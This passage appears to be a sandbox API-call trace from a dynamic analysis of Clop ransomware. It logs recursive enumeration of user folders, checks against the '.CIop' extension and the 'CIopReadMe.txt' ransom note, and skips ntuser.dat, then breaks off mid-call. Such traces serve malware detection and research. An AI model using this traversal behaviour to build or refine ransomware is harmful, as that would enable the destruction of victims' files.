(pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0138.539] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0138.539] lstrlenW (lpString=".CIop") returned 5 [0138.539] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.540] lstrlenW (lpString=".CIop") returned 5 [0138.540] lstrlenW (lpString=".CIop") returned 5 [0138.540] lstrlenW (lpString=".CIop") returned 5 [0138.540] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0138.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0138.540] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.540] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0138.540] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0138.540] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0138.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0138.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0138.540] SetErrorMode (uMode=0x1) returned 0x1 [0138.540] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0138.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0138.540] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0138.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0138.540] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dfb8 [0138.540] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0138.540] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0138.540] lstrlenW (lpString=".CIop") returned 5 [0138.540] lstrlenW (lpString=".CIop") returned 5 [0138.540] lstrlenW (lpString=".CIop") returned 5 [0138.540] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.540] lstrlenW (lpString=".CIop") returned 5 [0138.541] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0138.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0138.541] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0138.541] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0138.541] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0138.541] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.541] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.541] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.541] lstrcmpW (lpString1="pQzyM", lpString2="..") returned 1 [0138.541] lstrcmpW (lpString1="pQzyM", lpString2=".") returned 1 [0138.541] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0138.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0138.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0138.541] SetErrorMode (uMode=0x1) returned 0x1 [0138.541] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0138.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0138.541] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0138.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0138.541] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0138.541] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0138.541] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0138.542] lstrlenW (lpString=".CIop") returned 5 [0138.542] lstrlenW (lpString=".CIop") returned 5 [0138.542] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.542] lstrlenW (lpString=".CIop") returned 5 [0138.542] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0138.542] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0138.542] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0138.542] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0138.542] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0138.542] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.542] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.542] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.542] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.543] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.543] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.543] lstrcmpW (lpString1="_eEl", lpString2="..") returned 1 [0138.543] lstrcmpW (lpString1="_eEl", lpString2=".") returned 1 [0138.543] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0138.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0138.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0138.543] SetErrorMode (uMode=0x1) returned 0x1 [0138.543] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0138.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0138.543] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0138.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0138.543] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.543] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0138.543] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0138.543] lstrlenW (lpString=".CIop") returned 5 [0138.543] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.543] lstrlenW (lpString=".CIop") returned 5 [0138.543] lstrlenW (lpString=".CIop") returned 5 [0138.543] lstrlenW (lpString=".CIop") returned 5 [0138.543] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0138.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0138.543] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e9f8 [0138.543] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0138.544] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0138.544] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.544] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.544] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.544] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0138.544] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0138.544] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0138.544] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.544] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0138.544] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0138.544] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0138.544] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0138.544] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.544] SetErrorMode (uMode=0x1) returned 0x1 [0138.544] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.545] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.545] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.545] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0138.545] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0138.545] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0138.545] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0138.545] lstrlenW (lpString="ntuser.dat") returned 10 [0138.545] lstrlenW (lpString="ntuser.dat") returned 10 [0138.545] lstrlenW (lpString="ntuser.dat") returned 10 [0138.545] lstrlenW (lpString="ntuser.dat") returned 10 [0138.545] lstrlenW (lpString="ntuser.dat") returned 10 [0138.545] lstrlenW (lpString="ntuser.dat") returned 10 [0138.545] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.545] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0138.546] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e9f8 [0138.546] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0138.546] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0138.546] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.546] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.546] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0138.546] SetErrorMode (uMode=0x1) returned 0x1 [0138.546] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0138.546] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0138.546] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\AppData\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0138.546] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0138.546] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.546] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0138.546] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0138.546] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0138.546] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0138.546] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0138.546] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0138.546] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0138.546] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.546] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.546] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0138.546] SetErrorMode (uMode=0x1) returned 0x1 [0138.546] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0138.546] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0138.546] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Application Data\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0138.546] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0138.547] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.547] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0138.547] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0138.547] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0138.547] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0138.547] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.547] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0138.547] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0138.547] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.547] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.547] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0138.547] SetErrorMode (uMode=0x1) returned 0x1 [0138.547] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0138.547] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0138.547] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Cookies\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0138.547] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0138.547] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.547] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0138.547] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0138.547] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0138.547] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0138.547] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.547] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0138.547] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0138.547] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0138.547] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0138.547] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0138.547] SetErrorMode (uMode=0x1) returned 0x1 [0138.548] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0138.548] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0138.548] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Desktop\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0138.548] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0138.548] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", 